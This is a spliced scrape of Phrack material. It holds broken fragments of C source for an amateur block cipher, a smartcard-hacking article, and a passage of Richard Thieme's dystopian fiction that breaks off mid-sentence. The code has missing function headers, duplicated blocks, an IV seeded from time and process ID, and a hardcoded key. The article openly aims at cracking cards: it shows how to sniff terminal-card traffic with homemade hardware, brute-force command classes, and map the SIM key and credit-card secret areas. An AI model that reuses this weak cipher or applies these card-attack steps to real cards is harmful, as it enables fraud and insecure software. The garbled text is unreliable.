* (s+0)%256 (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 ...
* (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
* (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
* (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
* (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
* (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
* (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
* ...
*/
void S_E(unsigned char *key, unsigned char *block, unsigned int s)
{
int i;
#include "include/dpa.h"
/* Initialization vector */
void IV(unsigned char *block)
{
int i;
srandom(time(NULL) % getpid());
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
block[i] = random();
}
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include "include/dpa.h"
fd = open(filename, O_RDONLY);
if (fd < 0)
{
fprintf(stderr, "failed to open %s as a secret key.\n", filename);
exit(1);
}
fstat(fd, &sb);
key =
(unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (key == (void *)MAP_FAILED)
{
fprintf(stderr, "mmap() call failure.\n");
exit(1);
}
DPA_set_key(k, key, sb.st_size);
}
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "include/dpa.h"
fd = open(filename, O_RDONLY);
if (fd < 0)
{
fprintf(stderr, "failed to open data file %s.\n", filename);
exit(1);
}
fstat(fd, &sb);
d->data =
(unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (d->data == (void *)MAP_FAILED)
{
fprintf(stderr, "mmap() call failure.\n");
exit(1);
}
d->length = sb.st_size;
}
sz = 0;
if (action == DPA_ENCRYPT)
{
if (mode == DPA_MODE_ECB)
{
if ((d->length % DPA_BLOCK_SIZE) == 0)
sz = d->length + DPA_BLOCK_SIZE;
else
sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
DPA_BLOCK_SIZE;
}
else if (mode == DPA_MODE_CBC)
{
if ((d->length % DPA_BLOCK_SIZE) == 0)
sz = d->length + (DPA_BLOCK_SIZE * 2);
else
sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
(DPA_BLOCK_SIZE * 2);
}
}
else if (action == DPA_DECRYPT)
{
if (mode == DPA_MODE_ECB)
sz = d->length - DPA_BLOCK_SIZE;
else if (mode == DPA_MODE_CBC)
sz = d->length - (DPA_BLOCK_SIZE * 2);
}
c->data =
(unsigned char *)mmap(NULL, sz,
PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
if (c->data == (void *)MAP_FAILED)
{
fprintf(stderr, "mmap() call failure.\n");
exit(1);
}
c->length = sz;
}
wasfile = 0;
if (!strcmp(filename, "-"))
fd = 1;
else
{
fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
if (fd < 0)
{
fprintf(stderr, "failed to open result file %s.\n", filename);
exit(1);
}
wasfile = 1;
}
if (wasfile)
close(fd);
}
wasfile = 0;
if (!strcmp(filename, "-"))
fd = 1;
else
{
fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
if (fd < 0)
{
fprintf(stderr, "failed to open result file %s.\n", filename);
exit(1);
}
wasfile = 1;
}
if (wasfile)
close(fd);
}
#include "include/dpa.h"
cnt = data->length;
cptr = cipher->data;
memset(block, 0, 16);
for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
{
if (cnt < DPA_BLOCK_SIZE)
{
memcpy(block, data->data, cnt);
memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
}
else
memcpy(block, data->data, DPA_BLOCK_SIZE);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(cptr, block, DPA_BLOCK_SIZE);
cnt -= DPA_BLOCK_SIZE;
}
/* Padding block */
memset(block, 0, DPA_BLOCK_SIZE);
if (data->length % DPA_BLOCK_SIZE)
block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(cptr, block, DPA_BLOCK_SIZE);
}
cptr = cipher->data;
cnt = data->length - DPA_BLOCK_SIZE;
memset(block, 0, DPA_BLOCK_SIZE);
for (;
cnt > 0;
cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
cptr += DPA_BLOCK_SIZE)
{
memcpy(block, data->data, DPA_BLOCK_SIZE);
for (j = 15; j >= 0; --j)
D(key->subkey[j].key, block, key->subkey[j].shift);
if (cnt >= DPA_BLOCK_SIZE)
memcpy(cptr, block, DPA_BLOCK_SIZE);
else
memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));
}
}
#include "include/dpa.h"
/* IV */
cptr = cipher->data;
IV(iv);
memcpy(xblock, iv, DPA_BLOCK_SIZE);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, iv, key->subkey[j].shift);
memcpy(cptr, iv, DPA_BLOCK_SIZE);
cptr += DPA_BLOCK_SIZE;
cnt = data->length;
memset(block, 0, 16);
for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
{
if (cnt < DPA_BLOCK_SIZE)
{
memcpy(block, data->data, cnt);
memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
}
else
memcpy(block, data->data, DPA_BLOCK_SIZE);
blockchain(block, xblock);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(xblock, block, DPA_BLOCK_SIZE);
memcpy(cptr, block, DPA_BLOCK_SIZE);
cnt -= DPA_BLOCK_SIZE;
}
/* Padding */
memset(block, 0, DPA_BLOCK_SIZE);
if (data->length % DPA_BLOCK_SIZE)
block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
blockchain(block, xblock);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(cptr, block, DPA_BLOCK_SIZE);
}
/*
* CBC mode uses padding, data->length / DPA_BLOCK_SIZE _MUST_ be even.
* Also, we got a block for the IV, at least a block for the data and
* a block for the padding information, this makes the size of cryptogram
* at least 3 * DPA_BLOCK_SIZE.
*/
if ((data->length % DPA_BLOCK_SIZE) || data->length < (3 * DPA_BLOCK_SIZE))
exit(1);
cptr = cipher->data;
cnt = data->length - (DPA_BLOCK_SIZE * 2);
memset(block, 0, DPA_BLOCK_SIZE);
for (data->data += DPA_BLOCK_SIZE;
cnt >= DPA_BLOCK_SIZE;
cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
cptr += DPA_BLOCK_SIZE)
{
memcpy(block, data->data, DPA_BLOCK_SIZE);
memcpy(xblockprev, block, DPA_BLOCK_SIZE);
for (j = 15; j >= 0; --j)
D(key->subkey[j].key, block, key->subkey[j].shift);
blockchain(block, xblock);
if (cnt >= DPA_BLOCK_SIZE)
memcpy(cptr, block, DPA_BLOCK_SIZE);
else
memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));
memcpy(xblock, xblockprev, DPA_BLOCK_SIZE);
}
}
#include "include/dpa.h"
/* XXX - for better performances, unroll the loops ;) */
void DPA_sum(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
int j;
int cnt;
unsigned char *cptr;
unsigned char block[DPA_BLOCK_SIZE];
unsigned char iv[DPA_BLOCK_SIZE];
unsigned char xblock[DPA_BLOCK_SIZE];
/* Fixed key */
DPA_set_key(key, (unsigned char *)"deadbeef", 8);
/* Fixed IV */
memcpy(iv, "0123456789abcdef", DPA_BLOCK_SIZE);
memcpy(xblock, iv, DPA_BLOCK_SIZE);
cptr = cipher->data;
memcpy(xblock, iv, DPA_BLOCK_SIZE);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, iv, key->subkey[j].shift);
memcpy(cptr, iv, DPA_BLOCK_SIZE);
cptr += DPA_BLOCK_SIZE;
cnt = data->length;
memset(block, 0, 16);
for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
{
if (cnt < DPA_BLOCK_SIZE)
{
memcpy(block, data->data, cnt);
memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
}
else
memcpy(block, data->data, DPA_BLOCK_SIZE);
blockchain(block, xblock);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(xblock, block, DPA_BLOCK_SIZE);
memcpy(cptr, block, DPA_BLOCK_SIZE);
cnt -= DPA_BLOCK_SIZE;
}
memset(block, 0, DPA_BLOCK_SIZE);
if (data->length % DPA_BLOCK_SIZE)
block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
blockchain(block, xblock);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(cptr, block, DPA_BLOCK_SIZE);
}
#include "include/dpa.h"
mode = DPA_MODE_ECB;
action = DPA_ENCRYPT;
output = "-";
mflag = aflag = kflag = dflag = sflag = oflag = 0;
while ((opt = getopt(argc, argv, "a:m:k:d:o:s:")) != -1)
{
switch (opt)
{
case 'a':
if (!strcmp(optarg, "enc") || !strcmp(optarg, "encrypt"))
action = DPA_ENCRYPT;
else if (!strcmp(optarg, "dec") || !strcmp(optarg, "decrypt"))
action = DPA_DECRYPT;
else
{
fprintf(stderr, "unknown action, expected encrypt or decrypt\n");
return (EX_USAGE);
}
aflag = 1;
break;
case 'm':
if (!strcmp(optarg, "ecb"))
mode = DPA_MODE_ECB;
else if (!strcmp(optarg, "cbc"))
mode = DPA_MODE_CBC;
else
{
fprintf(stderr, "unknown mode, expected ecb or cbc\n");
return (EX_USAGE);
}
mflag = 1;
break;
case 'k':
if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
DPA_set_key(&key, (unsigned char *)optarg, strlen(optarg));
else
DPA_set_keyfile(&key, optarg + 5);
kflag = 1;
break;
case 'd':
if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
DPA_set_data(&data, (unsigned char *)optarg, strlen(optarg));
else
DPA_set_datafile(&data, optarg + 5);
dflag = 1;
break;
case 'o':
output = optarg;
oflag = 1;
break;
case 's':
DPA_set_datafile(&data, optarg);
sflag = 1;
break;
default:
usage();
}
}
if (sflag)
{
DPA_set_ciphertext(&data, &cipher, DPA_MODE_CBC, DPA_ENCRYPT);
DPA_sum(&key, &data, &cipher);
DPA_sum_write_to_file(&cipher, output);
}
else
{
DPA_set_ciphertext(&data, &cipher, mode, action);
if (action == DPA_ENCRYPT)
{
if (mode == DPA_MODE_ECB)
DPA_ecb_encrypt(&key, &data, &cipher);
else if (mode == DPA_MODE_CBC)
DPA_cbc_encrypt(&key, &data, &cipher);
}
else if (action == DPA_DECRYPT)
{
if (mode == DPA_MODE_ECB)
DPA_ecb_decrypt(&key, &data, &cipher);
else if (mode == DPA_MODE_CBC)
DPA_cbc_decrypt(&key, &data, &cipher);
}
DPA_write_to_file(&cipher, output);
}
return (EX_OK);
}
==Phrack Inc.==
1 - Introduction
2 - Dealing with ISO7816 standard
2.1 - Receiving Answer To Reset
2.2 - Sending commands
2.3 - Receiving answers
2.4 - For example
2.5 - Your Rights
8 - Synchronous smartcards
9 - Programming a card for ISO7816 purposes
10 - Conclusion
11 - Greetings
12 - Bibliography
All what is written in this article must be used for cracking cards
and shouldn't be used to secure already existing application. However,
the aim of this article is to show you how to engage the dialog with
your smartcards (very useful when you don't have a girlfriend to talk
with), and not the way to use already cracked cards.
- and a computer:
- Under Linux/Unix : you can check for shcap
(www.afturgurluk.org/~ender/)
or try SmartCard ToolKit
(http://freshmeat.net/projects/sctk/ )
- Under bill's non-operating system : WinExplorer from Dexter
(www.geocities.com/Winexplorer/)
You will need to refer to this standard. Here we will see how to engage
the communication with a smartcard plugged in your phoenix (smartcard
reader), which is plugged in your rs232 port. I have put two examples with :
a credit card, and a SIM card. If no specific card is mentionned in the
presentation of the protocol, it means that the information is valid for all
7816 ISO compliant cards.
First, you will need to reset the card (with an ioctl, or directly
typing 'reset' in a smartcard shell) to boot the card, then it sends a data
buffer to identify itself, and to explicit its specifications such as the
frequency, the programming voltage, the GuardTime the Convention
(inverse/direct)... What is really useful to know is :
TS : 3B Direct Convention
3F Inverse Convention
Nota : If you don't receive 0x3B or 0x3F for TS, maybe you must reconfigure
your soft to receive Byte in another convention...
The instructions are send to the card via a serial link. The protocol
is explained in the standard but is mereley like an I2C without scl. The
packets are composed with five parts :
LEN : 1 Byte. Length expected for the answer or lenght of the argument
ARG : LEN Byte. Argument you give for the instruction (bytes to write,
data to cypher, PIN to verify...), sometimes, the card must answer
a byte of aknowledgement -depending on the instruction- between
each bytes in the argument buffer.
Here are some examples taken from shcap. You can download it from
<http://www.afturgurluk.org/~ender/shcap.tgz> .
But you can do the same with 7816shell <http://freshmeat.net/projects/sctk/>
Terminal> help
Shcap v0.0.9 by ender <[email protected]>
###### Example with a Bull CP8 mask 4 BO' (french credit card) ######
Terminal> connect
Historical Bytes
93 04 6C 90 00 --Note that the 90 00 change to 90 10 after a first
wrong PIN code
Getting response :
Terminal> get 8 --Get answer 8 bytes
Card> C0 12 4F 54 A3 64 C5 2B 07 90 00 --12 4F 54 A3 64 C5 2B 07 ok
Selecting /TELE
COM/SMS/ directory in a SIM :
Terminal> cd 7f 10 --Select TELECOM dir : 7F 10
Card> 9F 16 --Dir description, 20Bytes
Terminal> cd 6f 3c --Select SMS subdir : 6F 3C
Card> 9F 0F --Dir description, 15Bytes
SmartCards use some kind of filesystems, so there are some rights (xrw)
for the different areas are files. The right to execute is obviously for
instructions only...
Generally, for a single-provider card, there are three levels :
-Nobody, when you boot the card you are not yet identified...
-Owner, you are "logged in" when you enter your PIN
-Provider, there is another code named PUK you can't know. It is
used for example when you stupidly block your card, to reset the
blocking mechanism.
In a SIM card (at least, the SIM card I have worked on), you cannot
read or write if you didn't login. When you enter (the instruction name is
verify) the PIN, then you can read, and even write in some files (mostly
in TELECOM directory, containing your SMS, your dialing numbers, etc.).
In credit cards, which are divided in areas, you need the PIN just to
read/write your Transaction Bulletin (at least for french ones... It is also
a major security hole if the PIN is not verifyed dynamically by the bank).
_____________ __________
| |-- 6 |-- |
| Terminal | |--/------------| Card |
|___________|-- | |________|
|
/ 3 Display ;)
___|____ ____________
| Season | 3 | logging: |
|________|------/-----RS232-->| 3F 16 15 |
|__________|
You need to connect 6 wires from your smartcard to a Wafer, but only 3
to your computer. If you have read the standard, you now that there is only
one pin dedicated to the Input/Output. You also need to connect the ground
(useful to have a reference...) and the Reset pin in order to start logging
when the card boots. It will permit you to log the dialog between the
terminal and the smartcard. This the most common way to analyse a smartcard
when you have an access to the terminal, but you might want to study the
terminal with a logic analyser awfuly expensive and reverse the results on
the screen of your oscilloscope (might sound very silly, but someone did
that :p). If for some reasons you don't have any physical access to the
terminal, report to next part.
The scheme for a season is quite simple, you can add some LEDs to see what
is going on. The MAX232 is here to convert the 5V from the card pins to
the 12V of the RS232 link of your computer (or laptop ;).
+-------------------------+
| |
+-----------------------------|-+ LED 3mm R1 250ohm|
| 1 _ _16| | ____|/|___/\/\/\__+
| -| |_| |-+ | | |\| |
| +---------------+ -| M |---|-----+ | Connector ISO
1 | | | -| A |---+ __|__ |
__|_|_______ 5 | -| X |- ///// 1 |______ 5
| | | . . ._______ | -| 2 |- /+_| __+-------+
\ . . . . / | | -| 3 |---------------------------+_| |___| |
6 \_______/ 9 | +---| 2 |-----------------+ |___|__|_+----+ |
DB9 | -|_____|- | 4 \__|__|__/ 8 | |
| 8 9 +---------------------+ |
| |
+-------------------------------------------------------+
__|__
/////
Scheme for a season
Don't forget to add 4 x 0.1uF between pins 2-16, 15-6, 1-3 and 4-5 of the
MAX232. You can refer to the MAX232 datasheet for more details (ascii scheme
are not that clear...)
Now you have to log the data, just write somewhere on your hard drive
the datas sent and received by the card. You can try this with the 'log'
command in shcap, or with the program 7816logger from sctk.
* Firstly, the card send an ATR (which stand for Answer To Reset).
* Now that the terminal know the identity of the card, it can send
instructions composed firstly of 5 bytes.
* Then the card repeat the code of the instruction and the terminal can
send the argument buffer if it is not empty, then the card can answer,
* et caetera...
You can try to search the ISO class (sent just after the ATR) and try to
indent your log with just this information, and the knowledge of the
"protocol" as explained earlier...
After that, you should be able to recreate the behaviour expected by the
terminal, excepted for the cryptographic instructions... but this is another
problem. You have surely heard of S/DPA (Single/Differential Power Analysis),
DFA (Differential Fault Attack) or Time Attack which are the current means for
retrieving "easily" the keys stored inside cards. But this is not our topic.
When you don't know the ISO class of the card you want to play with,
you can bruteforce the iso class. It is not very dificult if your computer
is able to count from 0x00 to 0xFF.
By retrieving the error codes from the card, you know the class is the good
one because the card send you an INS Error (6D 00), instead of a CLA error
(6E 00).
_____________________
$1000 | Constructor area |
|___________________|
$09C0 | |
| FREE READ |
|___________________|
$07F8 | Transaction |
| Bulletin |
|___________________|
$03E8 | ACCESS COUNTER |
|___________________|
$02B0 | SECRET AREA |
|___________________|
$0200 | N/A |
|___________________|
$0000
7F10 TELECOM
|
|\__6F3A Directory
|\__6F3B Fixed directory
|\__6F3C SMS
|\__6F40 Last calls
|\__6F42 SMS pointer
|\__6F43 SMS status
|\__6F44 Dialing numbers
|\__6F4A Extension 1
\__6F4B Extension 2
7F20 GSM
|
|\__6F05 Language
|\__6F07 IMSI
|\__6F20 Cyphering Key
|\__6F30 Provider selector
|\__6F31 Search Period
|\__6F37 Account Max
|\__6F38 Sim Service Table
|\__6F39 Cumulated calls
|\__6F3D Capability Config Param
|\__6F3E Group ID 1
|\__6F3F Group ID 2
|\__6F41 Price per unit
|\__6F45 Cell Broadcast msg ID
|\__6F74 Broadcast Control Chan
|\__6F78 Access Control Class
|\__6F7B Providers Forbidden
|\__6F7E Location Info
|\__6FAD Admin data
\__6FAE Phase ID
Then, you can log the communication between your SIM card and your
mobile phone if you want more information ;)
Depending on your software and hardware, you will have more or less easily
these informations : the density of encoding, and the number of bits per
character. For the number of bits per character, if you have read with the good
number of bits without errors, then you have to check the parity bits. Normally,
the soft you used to read the stripe is able to to do such a thing, other wise
the method consist in :
- Take the first bit equal to 1
- Check the parity on the first 5 bit
- If it is not OK, then try with 6,7,8 or 9
- Try on the next pack of [5,6,7,8,9] till the end.
- Check the LRC
There are two ways for detecting error, the first is with the parity bits, the
second is the LRC for Longitudinal Redondancy Check. The character of the track
is equal to the XOR of all characters.
Example :
% B 0123456789012345 ^ MR SMITH JOHN ^ 9910 101
123456789000000123000000 ?
Example:
; 01236789012345 = 9910 101 123456789000000123 ?
Note that the PAN (Primary Account Number) must verify the Lhun Algorithm.
It is quite like ISO, but a bit less verbose. You just have the same
Start sentinel depending on the number of the track (1 : '%', 2 & 3 : ';'),
the same Field Separators, and End Sentinel. Between Start and End Sentinels,
you have data coded in BCD or ALPHA separated by the field separator of the
track related.
Some advises :
Roland Moreno ;)
<++> ./old_log.txt.uue
<++> ./old_log.txt.uue
==Phrack Inc.==
|=-----------------------------------------------------------------------=|
|=--------------------=[ W O R L D N E W S ]=--------------------------=|
|=-----------------------------------------------------------------------=|
1 - Break, Memory, by Richard Thieme
2 - The Geometry of Near, by Richard Thieme
3 - The Feasibility of Anarchy in America, by Anthony
*** QUICK NEWS quiCK NEWS QUICK NEWS QUICK NEWS QUICK NEWS QUICK NEWS ***
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
Break, Memory
By
Richard Thieme
The problem was not that people couldn't remember; the problem was
that people couldn't forget.
As far back as the 20th century, we realized that socio-historical
problems were best handled on a macro level. It was inefficient to work on
individuals who were, after all, nothing but birds in digital cages. Move
the cage, move the birds. The challenge was to build the cage big enough to
create an illusion of freedom in flight but small enough to be moved
easily.
When long-term collective memory became a problem in the 21st
century, it wound up on my desktop. There had always been a potential for
individuals to connect the dots and cause a contextual shift. We managed
the collective as best we could with Chomsky Chutes but an event could
break out randomly at any time like a bubble bursting. As much as we
surveil the social landscape with sensors and datamine for deep patterns,
we can't catch everything. It's all sensors and statistics, after all,
which have limits. If a phenomenon gets sticky or achieves critical mass,
it can explode through any interface, even create the interface it needs at
the moment of explosion. That can gum up the works.
Remembering and forgetting changed after writing was invented. The
ones that remembered best had always won. Writing shifted the advantage
from those who knew to those who knew how to find what was known.
Electronic communication shifted the advantage once again to those who knew
what they didn't need to know but knew how to get it when they did. In the
twentieth century advances in pharmacology and genetic engineering
increased longevity dramatically and at the same time meaningful
distinctions between backward and forward societies disappeared so far as
health care was concerned. The population exploded everywhere
simultaneously.
People who had retired in their sixties could look forward to sixty
or seventy more years of healthful living. As usual, the anticipated
problems - overcrowding, scarce water and food, employment for those who
wanted it - were not the big issues.
Crowding was managed by staggered living, generating niches in many
multiples of what used to be daylight single-sided life. Life became double-
sided, then triple-sided, and so on. Like early memory storage devices that
packed magnetic media inside other media, squeezing them into every bit of
available space, we designed multiple niches in society that allowed people
to live next to one another in densely packed communities without even
noticing their neighbors. Oh, people were vaguely aware that thousands of
others were on the streets or in stadiums, but they might as well have been
simulants for all the difference they made. We call this the Second
Neolithic, the emergence of specialization at the next level squared.
The antisocial challenges posed by hackers who "flipped" through
niches for weeks at a time, staying awake on Perkup, or criminals
exploiting flaws inevitably present in any new system, were anticipated and
handled using risk management algorithms. In short, multisided life works.
Genetic engineering provided plenty of food and water. Binderhoff
Day commemorates the day that water was recycled from sewage using the
Binderhoff Method. A body barely relinquishes its liquid before it's back
in a glass in its hand. As to food, the management of fads enables us to
play musical chairs with agri-resources, smoothing the distribution curve.
Lastly, people are easy to keep busy. Serial careers, marriages and
identities have been pretty much standard since the twentieth century.
Trends in that direction continued at incremental rather than tipping-point
levels. We knew within statistical limits when too many transitions would
cause a problem, jamming intersections as it were with too many vehicles,
so we licensed relationships, work-terms, and personal reinvention using
traffic management algorithms to control the social flow.
By the twenty-first century, everybody's needs were met. Ninety-eight
per cent of everything bought and sold was just plain made up. Once we
started a fad, it tended to stay in motion, generating its own momentum.
People spent much of their time exchanging goods and services that an
objective observer might have thought useless or unnecessary, but of
course, there was no such thing as an objective observer. Objectivity
requires distance, historical perspective, exactly what is lacking. Every
product or service introduced into the marketplace drags in its wake an
army of workers to manufacture it, support it, or clean up after it which
swells the stream until it becomes a river. All of those rivers flow into
the sea but the sea is never full.
Fantasy baseball is a good example. It had long been noticed that
baseball itself, once the sport became digitized, was a simulation. Team
names were made up for as many teams as the population would watch. Players
for those teams were swapped back and forth so the team name was obviously
arbitrary, requiring the projection of a "team gestalt" from loyal fans
pretending not to notice that they booed players they had cheered as heroes
the year before. Even when fans were physically present at games, the
experience was mediated through digital filters; one watched or listened to
digital simulations instead of the game itself, which existed increasingly
on the edges of the field of perception. Then the baseball strike of 2012
triggered the Great Realization. The strike was on for forty-two days
before anyone noticed the absence of flesh-and-blood players because the
owners substituted players made of pixels. Game Boys created game boys.
Fantasy baseball had invented itself in recognition that fans might as well
swap virtual players and make up teams too but the G.R. took it to the next
level. After the strike, Double Fantasy Baseball became an industry, nested
like a Russian doll inside Original Fantasy Baseball. Leagues of fantasy
players were swapped in meta-leagues of fantasy players. Then Triple
Fantasy Baseball . Quadruple Fantasy Baseball . and now the fad is Twelves
in baseball football and whack-it-ball and I understand that Lucky
Thirteens is on the drawing boards, bigger and better than any of its
predecessors.
So no, there is no shortage of arbitrary activities or useless goods.
EBay was the prototype of the future, turning the world into one gigantic
swap meet. If we need a police action or a new professional sport to bleed
off excess hostility or rebalance the body politic, we make it up. The Hump
in the Bell Curve as we call the eighty per cent that buy and sell just
about everything swim blissfully in the currents of make-believe digital
rivers, all unassuming. They call it the Pursuit of Happiness. And hey -
who are we to argue?
The memory-longevity problem came as usual completely out of fantasy
left field. People were living three, four, five generations, as we used to
count generations, and vividly recalled the events of their personal
histories. Pharmacological assists and genetic enhancement made the problem
worse by quickening recall and ending dementia and Alzheimer's. I don't
mean that every single person remembered every single thing but the Hump as
a whole had pretty good recall of its collective history and that's what
mattered. Peer-to-peer communication means one-knows-everyone-knows and
that created problems for society in general and - as a Master of Society -
that makes it my business.
My name is Horicon Walsh, if you hadn't guessed, and I lead the team
that designs the protocols of society. I am the man behind the Master. I am
the Master behind the Plan.
Here you had the fat tip of a long peninsular state packed like a
water balloon with millions of people well into their hundreds. One third
of the population was 150 or older by 2175. Some remembered sixteen major
wars and dozens of skirmishes and police actions. Some had lived through
forty-six recessions and recoveries. Some had lived through so many
elections they could have written the scripts, that's how bad it was. Their
thoughtful reflection, nuanced perspective, and appropriate skepticism were
a blight on a well-managed global free-market democracy. They did not get
depressed - pharmies in the food and water made sure of that - but they
sure acted like depressed people even if they didn't feel like it. And
depressed people tend to get angry.
West Floridians lined benches from Key West through Tampa Bay all the
way to the Panhandle. The view from satellites when they lighted matches
one night in midwinter to demonstrate their power shows an unbroken arc
along the edge of the water like a second beach beside the darker beach.
All day every day they sat there remembering, comparing notes, measuring
what was happening now by what had happened before. They put together
pieces of the historical puzzle the way people used to do crosswords and we
had to work overtime to stay a step ahead. The long view of the Elder Sub-
Hump undermined satisfaction with the present. They preferred a different,
less helpful way of looking at things.
When the drums of the Department of System Integration, formerly the
Managed Affairs and Perception Office, began to beat loudly to rouse the
population of our crowded earth to a fury against the revolutionary Martian
colonists who shot their resupplies into space rather than pay taxes to the
earth, we thought we would have the support of the Elder Sub-Hump. Instead
they pushed the drumming into the background and recalled through numerous
conversations the details of past conflicts, creating a memory net that
destabilized the official Net. Their case for why our effort was doomed was
air-tight, but that wasn't the problem. We didn't mind the truth being out
there so long as no one connected it to the present. The problem was that
so many people knew it because the Elder Sub-Hump wouldn't shut up. That
created a precedent and the precedent was the problem.
Long-term memory, we realized, was subversive of the body politic.
Where had we gotten off course? We had led the culture to skew toward
youth because youth have no memory in essence, no context for judging
anything. Their righteousness is in proportion to their ignorance, as it
should be. But the Elder Sub-Hump skewed that skew.
We launched a campaign against the seditious seniors. Because there
were so many of them, we had to use ridicule. The three legs of the stool
of cover and deception operations are illusion, misdirection, and ridicule,
but the greatest of these is ridicule. When the enemy is in plain sight,
you have to make him look absurd so everything he says is discredited. The
UFO Campaign of the twentieth century is the textbook example of that
strategy. You had fighter pilots, commercial pilots, credible citizens all
reporting the same thing from all over the world, their reports agreeing
over many decades in the small details. So ordinary citizens were subjected
to ridicule. The use of government owned and influenced media like
newspapers (including agency-owned-and-operated tabloids) and television
networks made people afraid to say what they saw. They came to disbelieve
their own eyes so the phenomena could hide in plain sight. Pretty soon no
one saw it. Even people burned by close encounters refused to believe in
their own experience and accepted official explanations.
We did everything possible to make old people look ridiculous. Subtle
images of drooling fools were inserted into news stories, short features
showed ancients playing inanely with their pets, the testimony of confused
seniors was routinely dismissed in courts of law. Our trump card -
entertainment - celebrated youth and its lack of perspective, extolling the
beauty of young muscular bodies in contrast with sagging-skin bags of bones
who paused too long before they spoke. We turned the book industry inside
out so the little bit that people did know was ever more superficial. The
standard for excellence in publishing became an absence of meaningful text,
massive amounts of white space, and large fonts. Originality dimmed, and
pretty soon the only books that sold well were mini-books of aphorisms
promulgated by pseudo-gurus each in his or her self-generated niche.
Slowly the cognitive functioning of the Hump degraded until abstract
or creative thought became marks of the wacky, the outcast, and the
impotent.
Then the unexpected happened, as it always will. Despite our efforts,
the Nostalgia Riots broke out one hot and steamy summer day. Govvies moved
on South Florida with happy gas, trying to turn the rampaging populace into
one big smiley face, but the seniors went berserk before the gas - on top
of pills, mind you, chemicals in the water, and soporific stories in the
media - took effect. They tore up benches from the Everglades to Tampa/St.
Pete and made bonfires that made the forest fires of '64 look like
fireflies. They smashed store windows, burned hovers, and looted amusement
parks along the Hundred-Mile-Boardwalk. Although the Youthful Sub-Hump was
slow to get on board, they burned white-hot when they finally ignited,
racing through their shopping worlds with inhuman cold-blooded cries. A
shiver of primordial terror chilled the Hump from end to end.
That a riot broke out was not the primary problem. Riots will happen
and serve many good purposes. They enable us to reinforce stereotypes,
enact desirable legislation, and discharge unhelpful energies. The way we
frame analyses of their causes become antecedents for future policies and
police actions. We have sponsored or facilitated many a useful riot. No,
the problem was that the elders' arguments were based on past events and if
anybody listened, they made sense. That's what tipped the balance. Youth
who had learned to ignore and disrespect their elders actually listened to
what they were saying. Pretending to think things through became a fad. The
young sat on quasi-elder-benches from Key Largo to Saint Augustine,
pretending to have thoughtful conversations about the old days. Coffee
shops came back into vogue. Lingering became fashionable again. Earth had
long ago decided to back down when the Martians declared independence, so
it wasn't that. It was the spectacle of the elderly strutting their stuff
in a victory parade that stretched from Miami Beach to Biloxi that imaged a
future we could not abide.
Even before the march, we were working on solving the problem. Let
them win the battle. Martians winning independence, old folks feeling their
oats, those weren't the issues. How policy was determined was the issue.
Our long-term strategy focused on winning that war.
The first thing we did was review the efficacy of Chomsky Chutes.
Chomsky Chutes are the various means by which current events are
dumped into the memory hole, never to be remembered again. Intentional
forgetting is an art. We used distraction, misdirection - massive, minimal
and everything in-between, truth-in-lie-embedding, lie-in-truth-embedding,
bogus fronts and false organizations (physical, simulated, live and on the
Net). We created events wholesale (which some call short-term memory
crowding, a species of buffer overflow), generated fads, fashions and
movements sustained by concepts that changed the context of debate. Over in
